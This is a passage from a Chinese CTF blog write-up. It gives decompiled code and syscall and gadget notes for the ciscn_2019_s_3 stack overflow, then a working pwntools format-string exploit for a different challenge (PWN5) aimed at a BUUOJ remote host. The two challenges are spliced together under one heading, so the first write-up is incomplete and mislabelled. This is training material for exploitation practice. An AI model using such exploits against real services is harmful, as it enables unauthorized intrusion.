ctf【ciscn_2019_s_3】

逆向

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  return vuln();
}

signed __int64 vuln()
{
    
    
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

攻击思路

(1)调用号:sys_read的调用号为0,sys_write的调用号为1,sys_execve的调用号为59

mov rax,3bh是sys_execve系统调用

在ida窗口中按alt+t查找mov rax,3bh指令,找到指令存储位置为0x4004E2

注意(new知识点):_libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行

(2)objdump -S ciscn_s_3

找到具备6个pop指令的地址为0x40059a

[第五空间2019 决赛]PWN5

from pwn import *

p=remote('node4.buuoj.cn',27963)

payload=p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)+b'%16x%16x%16x%16x'+b'%10$hhn%11$hhn%12$hhn%13$hhn'

p.sendline(payload)
payload=str(0x50505050)
p.sendline(payload)
p.interactive()

猜你喜欢

转载自blog.csdn.net/HUANGliang_/article/details/127585384